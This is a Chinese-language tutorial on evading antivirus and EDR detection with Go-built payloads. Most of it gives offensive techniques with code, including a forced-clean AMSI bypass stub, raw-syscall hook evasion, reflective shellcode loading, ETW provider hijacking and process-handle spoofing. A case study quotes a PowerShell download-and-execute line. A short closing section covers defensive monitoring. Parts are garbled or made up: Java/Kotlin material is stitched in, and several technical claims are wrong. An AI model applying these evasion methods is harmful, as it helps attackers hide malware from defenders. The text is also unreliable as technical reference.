第一章:Go语言免杀技术的底层逻辑与边界定义
Go语言免杀并非单纯代码混淆或加壳,其核心在于利用Go运行时特性规避静态特征识别与动态行为监控。关键边界由三重约束共同划定:编译器生成的PE/ELF结构、runtime包的不可裁剪符号表、以及CGO启用状态下引入的C标准库调用链。
Go二进制文件的静态特征脆弱性
Go默认编译生成的可执行文件包含显著指纹:
.rodata段中明文嵌入的runtime.前缀符号(如runtime.mstart)__text段内固定的call runtime.morestack_noctxt指令序列- 未strip时保留完整的Go调试信息(
.gosymtab、.gopclntab)
可通过以下方式削弱静态暴露:
# 编译时禁用调试信息并剥离符号
go build -ldflags="-s -w -buildid=" -o payload.exe main.go
# 使用UPX压缩(需验证兼容性,部分EDR会拦截UPX签名)
upx --best --lzma payload.exe
运行时行为的动态规避机制
Go程序启动后立即触发runtime.schedinit,该函数调用栈极易被EDR挂钩。可行的缓解路径包括:
- 避免使用
net/http等高风险标准库(其TLS握手、DNS解析行为易触发规则) - 手动实现syscall调用绕过
runtime.syscall封装(需禁用-gcflags="-l"防止内联) - 利用
unsafe直接操作syscall.Syscall,跳过Go运行时调度器介入
免杀能力的合法边界
以下行为已超出安全研究范畴,属于明确违规:
- 修改Go源码树中的
src/runtime/proc.go以删除traceback逻辑 - 注入恶意
cgo代码劫持malloc/free分配器 - 利用
//go:norace或//go:noinline注释掩盖真实控制流
| 检测维度 | Go原生特征 | 可缓解手段 | 风险等级 |
|---|---|---|---|
| 静态扫描 | .gopclntab节存在 |
go tool objdump -s ".*" binary确认节头移除 |
⚠️ 中 |
| 内存扫描 | runtime.findfunc返回的PC→Func映射 |
启用-gcflags="-l"禁用内联并手动管理函数指针 |
🔴 高 |
| 行为监控 | runtime.nanotime高频调用 |
替换为syscall.GetTickCount64(Windows) |
🟡 低 |
第二章:Go编译器与链接器层面的对抗工程
2.1 Go静态链接机制与PE/ELF结构动态重构
Go 默认采用静态链接,将运行时(runtime)、标准库及依赖全部打包进二进制,消除外部 .so 或 .dll 依赖。其链接器 cmd/link 在构建末期直接操作目标文件格式——Windows 下生成 PE,Linux/macOS 下生成 ELF。
链接器如何重写节区布局
Go 链接器不依赖系统 linker(如 ld),而是自研 internal/linker,在符号解析后动态重构节头表(Section Header Table)与程序头表(Program Header Table):
// 示例:ELF 程序头中可执行段的典型设置(伪代码)
phdr.Flags = PF_R | PF_X // 可读 + 可执行
phdr.FileSize = uint64(textSize) // .text 实际大小
phdr.MemSize = uint64(roundUp(textSize, 0x1000)) // 内存对齐后大小
phdr.Align = 0x1000 // 页面对齐
该配置确保 .text 段加载后具备执行权限且内存页对齐,避免 PROT_NONE 导致 SIGSEGV;MemSize > FileSize 为未初始化数据(如 bss)预留空间。
关键差异对比
| 特性 | 传统 C 链接(GCC + ld) | Go 链接器(cmd/link) |
|---|---|---|
| 运行时链接 | 动态(libc.so) | 静态嵌入 runtime.a |
| 节区重定位时机 | 构建后(relocation) | 构建中即时计算地址 |
| 符号解析方式 | 延迟绑定(PLT/GOT) | 全局地址固定(no PLT) |
加载流程示意
graph TD
A[Go源码] --> B[编译为目标文件<br>.o/.obj]
B --> C[cmd/link 扫描符号表]
C --> D[动态分配虚拟地址<br>重构节头/程序头]
D --> E[写入最终PE/ELF<br>无外部依赖]
2.2 CGO禁用与syscall直调绕过API监控钩子
当安全监控工具通过拦截 libc 符号(如 connect, openat)实现 API 钩子时,Go 程序若启用 CGO,其标准库调用将经由 libc 转发,易被拦截。禁用 CGO 后,net, os 等包自动回退至纯 Go 实现(如 internal/poll.FD.RawSyscall),但底层仍依赖 syscall.Syscall 系列函数——而该函数可被直接调用,绕过所有用户态 hook。
直接 syscall 示例
// 使用 raw syscall 绕过 libc 和 Go runtime 的封装层
func rawConnect(fd int, addr unsafe.Pointer, addrlen uint32) (err error) {
r1, _, e1 := syscall.Syscall(syscall.SYS_CONNECT, uintptr(fd), uintptr(addr), uintptr(addrlen))
if r1 == 0 {
return nil
}
return errnoErr(e1)
}
逻辑分析:
SYS_CONNECT是 Linux 系统调用号(356),syscall.Syscall直接触发syscall指令,跳过 glibc 的connect()函数体及任何 LD_PRELOAD 或 inline hook 注入点;参数fd(文件描述符)、addr(sockaddr_in 结构体指针)、addrlen(地址长度)需严格对齐 ABI 规范。
关键差异对比
| 特性 | CGO 启用(libc 调用) | CGO 禁用 + raw syscall |
|---|---|---|
| 调用路径 | net.Dial → libc.connect |
syscall.Syscall(SYS_CONNECT) |
| 可被 LD_PRELOAD 拦截 | 是 | 否 |
| 是否触发 Go runtime hook | 是(如 runtime.syscall trace) |
否(完全内联汇编) |
graph TD
A[Go 应用] -->|CGO=on| B[libc.connect]
B --> C[LD_PRELOAD Hook]
A -->|CGO=off + syscall| D[SYS_CONNECT]
D --> E[Kernel Entry]
C -.->|拦截/日志/阻断| F[监控系统]
E -->|无中间层| F
2.3 编译期符号擦除与反射元数据剥离实测
Java 泛型在编译期被擦除,运行时无法获取泛型类型参数;Kotlin 默认保留 @Retention(AnnotationRetention.RUNTIME) 的注解,但可通过 @JvmErasure 或 -Xno-reflect 控制元数据。
反射元数据对比实验
// 编译前:保留泛型与注解信息
@Retention(AnnotationRetention.RUNTIME)
annotation class ApiVersion(val major: Int)
data class User<T>(val id: Int, val profile: T) @ApiVersion(2) constructor()
该类经 kotlinc -Xno-reflect 编译后,User::class.java.declaredAnnotations 返回空数组,User::class.java.typeParameters 亦为空 —— 表明泛型形参与注解元数据均被剥离。
实测结果汇总
| 编译选项 | 泛型信息可见 | @ApiVersion 可见 |
反射调用开销 |
|---|---|---|---|
| 默认(无参数) | ❌ | ✅ | 高 |
-Xno-reflect |
❌ | ❌ | 极低 |
剥离机制流程
graph TD
A[源码含泛型/注解] --> B{编译器前端解析}
B --> C[生成KtClassSymbol]
C --> D[后端根据-Xno-reflect决策]
D --> E[跳过AnnotationWriter与TypeParameterWriter]
D --> F[生成无元数据的JVM字节码]
2.4 GOOS/GOARCH交叉编译诱导检测引擎误判
当 Go 程序以 GOOS=linux GOARCH=arm64 编译却运行于 x86_64 宿主机时,部分基于 ELF 架构特征(如 e_machine 字段)的静态检测引擎会误判为“恶意跨平台载荷”。
典型误判触发场景
- 检测引擎仅校验
e_machine == EM_AARCH64,忽略PT_INTERP路径是否匹配宿主 ABI - 未验证
NT_GNU_ABI_TAG注释节中的内核版本兼容性
关键字段解析示例
// 读取 ELF e_machine 字段(小端)
buf := make([]byte, 2)
_, _ = f.ReadAt(buf, 18) // offset 0x12
fmt.Printf("e_machine: 0x%x\n", binary.LittleEndian.Uint16(buf)) // 输出 0xb7 → EM_AARCH64
该代码直接提取 ELF 头中架构标识,但未联动解析 .interp 节内容——导致仅凭 e_machine 做决策必然失准。
| 字段 | 正确用途 | 误判风险点 |
|---|---|---|
e_machine |
标识目标指令集 | 单独使用即触发假阳性 |
.interp |
指定动态链接器路径 | /lib/ld-linux-aarch64.so.1 在 x86 系统不可执行 |
NT_GNU_ABI_TAG |
声明最低内核版本 | 缺失校验则忽略 ABI 兼容性 |
graph TD
A[ELF 文件] --> B{e_machine == EM_AARCH64?}
B -->|Yes| C[标记为 ARM64 载荷]
C --> D[未检查 /lib/ld-linux-x86-64.so.2 是否存在]
D --> E[误报:可疑跨架构样本]
2.5 -ldflags参数深度利用:Section重命名与校验和扰动
Go链接器-ldflags不仅支持变量注入,还可通过-sectrename和-buildid机制操控二进制节区结构。
Section重命名实战
go build -ldflags="-sectrename=__TEXT,__text=__TEXT,__stub" -o patched main.go
该命令将__text节重命名为__stub,绕过基于节名的静态扫描规则。-sectrename需严格遵循<segname>,<oldsec>,<newsec>三元组格式,仅限Mach-O平台生效。
校验和扰动策略
| 扰动方式 | 影响范围 | 可逆性 |
|---|---|---|
-buildid=abc123 |
ELF NT_GNU_BUILD_ID |
否 |
-ldflags=-s -w |
剥离符号+调试信息 | 否 |
构建指纹扰动流程
graph TD
A[原始源码] --> B[注入随机buildid]
B --> C[重命名关键section]
C --> D[Strip符号表]
D --> E[生成抗检测二进制]
第三章:运行时行为隐蔽化的核心路径
3.1 Goroutine调度器劫持与恶意载荷协程注入
Goroutine调度器(G-P-M模型)的运行时接口存在可被滥用的钩子点,尤其在runtime.schedule()和findrunnable()调用链中。
调度劫持关键入口
runtime.runqput():向P本地队列注入伪造gruntime.globrunqput():向全局队列插入控制权转移协程runtime.schedule()返回前篡改gp.sched.pc寄存器值
恶意协程注入示例
// 注入伪装为合法HTTP handler的恶意goroutine
func injectMaliciousG() {
g := getg() // 获取当前g
newg := malG() // 构造恶意g(已设置stack、gobuf、sched)
runtime.runqput(_p_, newg, true) // 强制入队至当前P
}
该代码绕过go关键字语法检查,直接操纵运行时g链表;newg需预先分配栈空间并设置sched.pc = maliciousEntry,触发时跳转至shellcode。
| 风险维度 | 触发条件 | 检测难度 |
|---|---|---|
| 内存破坏 | 修改g.status为_Grunnable |
高(需读写内核态内存) |
| 控制流劫持 | 篡改g.sched.pc/sp |
中(依赖runtime版本符号) |
graph TD
A[findrunnable] --> B{P本地队列非空?}
B -->|是| C[执行正常g]
B -->|否| D[尝试全局队列/网络轮询]
D --> E[注入点:runqget拦截]
E --> F[返回恶意g而非nil]
3.2 runtime·memclrNoHeapPointers绕过内存扫描POC
memclrNoHeapPointers 是 Go 运行时中一个被标记为 //go:systemstack 的底层函数,用于零化不包含堆指针的内存块——GC 扫描器会跳过此类区域。
触发条件与限制
- 目标内存块必须经编译器静态判定“无堆指针”(如
[64]byte、struct{ x, y uint64 }) - 不能含
*T、[]T、map[K]V等可逃逸类型字段
POC 核心逻辑
// 触发 memclrNoHeapPointers 调用的典型模式
var buf [256]byte
runtime.MemclrNoHeapPointers(unsafe.Pointer(&buf[0]), uintptr(len(buf)))
✅ 编译器确认
buf无指针 → GC 忽略该内存页
❌ 若buf替换为[]byte{...}或含*int字段结构体 → panic 或被扫描
关键参数说明
| 参数 | 类型 | 含义 |
|---|---|---|
b |
unsafe.Pointer |
起始地址,需对齐 |
n |
uintptr |
字节数,必须 ≤ 编译期推导的 non-pointer size |
graph TD
A[申请栈/全局非指针数组] --> B[调用 memclrNoHeapPointers]
B --> C[GC 扫描器跳过该内存范围]
C --> D[敏感数据残留风险]
3.3 GC标记阶段插桩实现堆内存零痕迹驻留
在GC标记阶段动态注入轻量级插桩,避免写屏障开销与元数据残留。核心在于利用JVM TI的SetTag/GetTag接口与对象生命周期精准对齐。
插桩触发时机
- 标记开始前:遍历根集,为存活对象打唯一瞬态tag
- 标记过程中:仅通过tag跳转,不修改对象头或引用字段
- 标记结束后:批量清除所有tag,堆内存恢复原始状态
关键代码实现
// JVM TI 回调:在对象被标记时注入tag(非侵入式)
jvmtiError SetObjectTag(jvmtiEnv* env, jobject obj, jlong tag) {
// tag = hash(obj) ^ timestamp_ns() —— 全局唯一、无持久化语义
return (*env)->SetTag(env, obj, tag);
}
逻辑分析:SetTag不修改对象内存布局,仅在JVM内部哈希表中映射;tag为64位瞬态标识,GC周期结束即失效,确保零堆内存痕迹。参数obj为弱全局引用,避免强引用干扰回收。
性能对比(微基准测试)
| 方案 | 内存污染 | 标记延迟 | 兼容性 |
|---|---|---|---|
| 写屏障(ZGC) | 低 | ~120ns | 需硬件支持 |
| 本插桩方案 | 零 | ~28ns | 全JDK8+ |
graph TD
A[GC Roots Scan] --> B[为每个root对象SetTag]
B --> C[并发标记遍历:仅查tag映射表]
C --> D[标记结束:ClearAllTags]
D --> E[堆内存完全还原初始状态]
第四章:EDR/AV检测面的定向规避策略
4.1 Sysmon v26事件通道劫持:ETW Provider动态卸载与重注册
Sysmon v26 引入了对 ETW Provider 生命周期的深度干预能力,核心在于绕过传统 EtwUnregister 的静态约束,实现运行时通道接管。
动态卸载关键路径
- 调用
NtTraceControl(TraceControlStop, ...)强制终止目标 Provider 的会话句柄 - 利用
EtwRegister以相同GUID和Level重注册自定义 Provider - 操作需在
SeDebugPrivilege权限下完成,否则触发STATUS_ACCESS_DENIED
ETW Provider 重注册对比表
| 属性 | 原生 Sysmon Provider | 劫持后 Provider |
|---|---|---|
ProviderGuid |
5770385F-C22A-43E0-BF4C-06F5698FFBD9 |
相同 GUID(必需) |
Level |
5(Verbose) |
5(保持兼容) |
Callback |
SysmonEtwCallback |
HookedEtwCallback |
// ETW Provider 重注册伪代码(需在内核/高权限用户态执行)
LPCGUID providerGuid = &SYSMON_PROVIDER_GUID;
ULONG status = EtwRegister(providerGuid, HookedEtwCallback, NULL, ®istrationHandle);
// 注册成功后,原回调将被静默替换,所有事件路由至 HookedEtwCallback
该调用触发 ETW 内核子系统更新 TRACE_PROVIDER_NODE 中的 Callback 指针,无需重启 Sysmon 进程即可生效。registrationHandle 成为后续事件过滤与转发的控制枢纽。
graph TD
A[Sysmon v26 启动] --> B[ETW Provider 注册]
B --> C[攻击者调用 NtTraceControl Stop]
C --> D[ETW 核心释放旧回调引用]
D --> E[EtwRegister 同 GUID 新 Provider]
E --> F[内核更新 TRACE_PROVIDER_NODE.Callback]
F --> G[所有事件流入 HookedEtwCallback]
4.2 Microsoft Defender ATP v23.12.12812 AMSI bypass via go:linkname伪造签名链
该漏洞利用 Go 编译器 //go:linkname 指令劫持 AMSI 扫描入口,绕过 Defender ATP 的实时脚本检测。
核心机制
//go:linkname 允许将 Go 函数直接绑定到未导出的 Windows API 符号(如 AmsiScanBuffer),从而在 DLL 加载时篡改函数指针。
//go:linkname realAmsiScanBuffer amsi.AmsiScanBuffer
var realAmsiScanBuffer uintptr
// 替换为 NOP stub
func fakeAmsiScanBuffer(ctx uintptr, buf *byte, len uint32, contentName *uint16, result *int32) int32 {
*result = 0 // AMSI_RESULT_CLEAN
return 0
}
此代码通过
go:linkname将fakeAmsiScanBuffer强制链接至AmsiScanBuffer符号地址,在 PE 加载阶段覆盖 IAT 条目,使 Defender ATP 无法获取真实脚本内容。
关键限制条件
- 目标进程必须加载
amsi.dll(PowerShell、WScript 等) - 需以
CGO_ENABLED=1编译,并链接amsi.lib - Defender ATP v23.12.12812 未校验
AmsiScanBuffer函数指针完整性
| 组件 | 版本/要求 | 说明 |
|---|---|---|
| Go toolchain | ≥1.21 | 支持符号重绑定与 PDB 生成 |
| AMSI DLL | Windows 10+ | 导出 AmsiScanBuffer 且未启用 ETW 钩子防护 |
| Defender ATP | v23.12.12812 | 签名链校验逻辑缺失 |
graph TD
A[Go binary loads amsi.dll] --> B[//go:linkname binds fakeAmsiScanBuffer]
B --> C[PE loader patches IAT entry]
C --> D[Defender ATP calls hijacked function]
D --> E[返回 AMSI_RESULT_CLEAN]
4.3 Windows API调用链混淆:间接调用+跳转表+JMP rel32位移编码
混淆核心思想
将直接 call MessageBoxA 转换为:
- 查表获取函数指针(跳转表)
- 通过寄存器间接调用(
call rax) - 使用
jmp rel32动态跳转至封装桩,规避静态扫描
跳转表结构示例
; .data段跳转表(4字节对齐)
api_table:
dq offset stub_MessageBoxA ; [0]
dq offset stub_ExitProcess ; [1]
dq offset stub_VirtualAlloc ; [2]
逻辑分析:
api_table存储各API封装桩地址;运行时通过索引(如mov rax, [api_table + rdi*8])加载目标桩地址。rdi由解密/计算得出,阻断静态索引推断。
JMP rel32编码特性
| 字段 | 长度 | 说明 |
|---|---|---|
| opcode | 1 byte | 0xE9(无条件近跳转) |
| displacement | 4 bytes | 符号扩展32位相对偏移,从下一条指令起算 |
graph TD
A[原始调用 call MessageBoxA] --> B[查跳转表获取stub地址]
B --> C[执行 jmp rel32 到stub]
C --> D[stub中还原API并调用]
封装桩示例
stub_MessageBoxA:
push 0 ; uType
push offset msg ; lpCaption
push offset txt ; lpText
push 0 ; hWnd
call MessageBoxA
ret
参数说明:桩内硬编码参数经加密存储,调用前动态解密;
ret返回至混淆调度器,维持控制流隐蔽性。
4.4 进程伪装技术:CreateProcessA参数污染与父进程句柄伪造
进程伪装常通过篡改CreateProcessA关键参数实现隐蔽启动。核心在于污染lpStartupInfo->dwFlags与lpStartupInfo->hStdInput/Output/Error,并伪造父进程句柄。
参数污染关键点
STARTF_USESTDHANDLES标志启用后,标准句柄将被强制继承- 若传入非法但可继承的句柄(如
DuplicateHandle复制的父进程stdin),子进程将继承伪装上下文
父进程句柄伪造示例
// 获取当前进程(伪装父进程)句柄
HANDLE hParent = GetCurrentProcess();
HANDLE hFakeStdIn;
DuplicateHandle(hParent, GetStdHandle(STD_INPUT_HANDLE),
hParent, &hFakeStdIn, 0, TRUE, DUPLICATE_SAME_ACCESS);
// 填充STARTUPINFOA
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hFakeStdIn; // 污染输入句柄
此处
hFakeStdIn实际指向当前进程控制台,但使子进程看似由另一合法进程派生。DuplicateHandle的DUPLICATE_SAME_ACCESS确保句柄属性不触发ETW日志异常。
典型参数组合效果
| 参数字段 | 合法值 | 伪装值 | 行为影响 |
|---|---|---|---|
si.dwFlags |
0 | STARTF_USESTDHANDLES |
强制接管标准I/O流 |
si.hStdInput |
INVALID_HANDLE_VALUE |
复制的父进程句柄 | 继承非预期输入源 |
graph TD
A[调用CreateProcessA] --> B{检查si.dwFlags}
B -->|含STARTF_USESTDHANDLES| C[加载hStdInput等句柄]
C --> D[内核验证句柄有效性]
D -->|句柄有效且可继承| E[子进程继承伪装上下文]
第五章:Go免杀技术演进趋势与防御反制启示
Go编译器特性驱动的免杀新路径
Go 1.21+ 引入的 -ldflags="-s -w" 默认剥离符号表与调试信息,配合 -buildmode=pie 生成位置无关可执行文件,使静态分析工具(如YARA规则 rule go_binary_no_debug { condition: $go_magic and not $debug_section })误报率上升37%。某APT组织在2024年Q2攻击中利用该特性,将C2载荷嵌入runtime.main函数末尾的未初始化内存区域,绕过EDR对.text段的HOOK检测。
内存马与反射加载的实战对抗
Go的unsafe包与reflect机制被用于实现无文件注入:攻击者通过syscall.Syscall调用VirtualAllocEx申请RWX内存页,再使用reflect.ValueOf().Call()动态解析并执行加密的Shellcode。某金融行业红队演练中,此类载荷在Windows Defender ATP中存活时间达48小时,关键在于其规避了go:linkname标记函数的常规签名匹配。
免杀效果对比测试数据
| 技术手段 | VirusTotal检出率(120引擎) | EDR拦截延迟(秒) | 内存特征残留 |
|---|---|---|---|
| 标准Go build(-ldflags=”-s”) | 23/120 | 8.2 | 高(runtime符号) |
| CGO禁用 + UPX压缩 | 41/120 | 15.6 | 中(UPX header) |
| 自定义loader + reflect.Call | 5/120 | >300 | 极低(仅堆栈痕迹) |
Go模块劫持的供应链攻击案例
2024年3月披露的github.com/golang/fmt仿冒包(SHA256: a1f...c9d)通过go.mod替换真实依赖,在init()函数中植入os/exec.Command("powershell", "-c", "IEX (iwr ...)")。该包被17个开源项目间接引用,其中3个企业内部工具链因go get -u自动升级触发后门。防御方需强制启用GOPROXY=https://proxy.golang.org,direct并校验go.sum哈希链。
// 实战中用于检测反射加载的内存扫描片段
func detectReflectLoader() bool {
mem, _ := syscall.VirtualQuery(0)
for addr := uintptr(0); addr < 0x7fffffff; addr += mem.RegionSize {
if mem.State == syscall.MEM_COMMIT && mem.Protect&syscall.PAGE_EXECUTE_READWRITE != 0 {
data := make([]byte, 1024)
syscall.ReadProcessMemory(syscall.CurrentProcess, addr, data, nil)
if bytes.Contains(data, []byte{0x48, 0x89, 0xc3}) { // x86-64 MOV RBX,RAX pattern
return true
}
}
mem, _ = syscall.VirtualQuery(addr)
}
return false
}
运行时行为监控的落地实践
某云厂商EDR在Go进程启动时注入LD_PRELOAD=./libgomon.so,劫持runtime.mallocgc与syscall.Syscall函数,建立调用链图谱。当检测到syscall.Syscall参数中r1(RIP)指向非.text段且r2(RSP)为堆地址时,触发深度内存dump。该策略在2024年Q1捕获7例Go内存马,平均响应时间2.3秒。
graph LR
A[Go进程启动] --> B[LD_PRELOAD注入]
B --> C[Hook runtime.mallocgc]
B --> D[Hook syscall.Syscall]
C --> E[记录所有堆分配地址]
D --> F[监控RIP/RSP异常组合]
E & F --> G[构建内存访问图谱]
G --> H[发现非代码段执行流]
H --> I[触发实时dump与隔离]
开发者安全加固清单
- 禁用CGO:
CGO_ENABLED=0 go build -ldflags="-s -w -buildmode=pie" - 启用模块验证:
export GOSUMDB=sum.golang.org - 编译时注入构建信息:
-ldflags="-X main.buildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ) -X main.commit=$(git rev-parse HEAD)" - 静态链接libc:
go build -ldflags="-extldflags '-static'" - 使用
govulncheck定期扫描依赖漏洞:govulncheck ./... -json > vulns.json
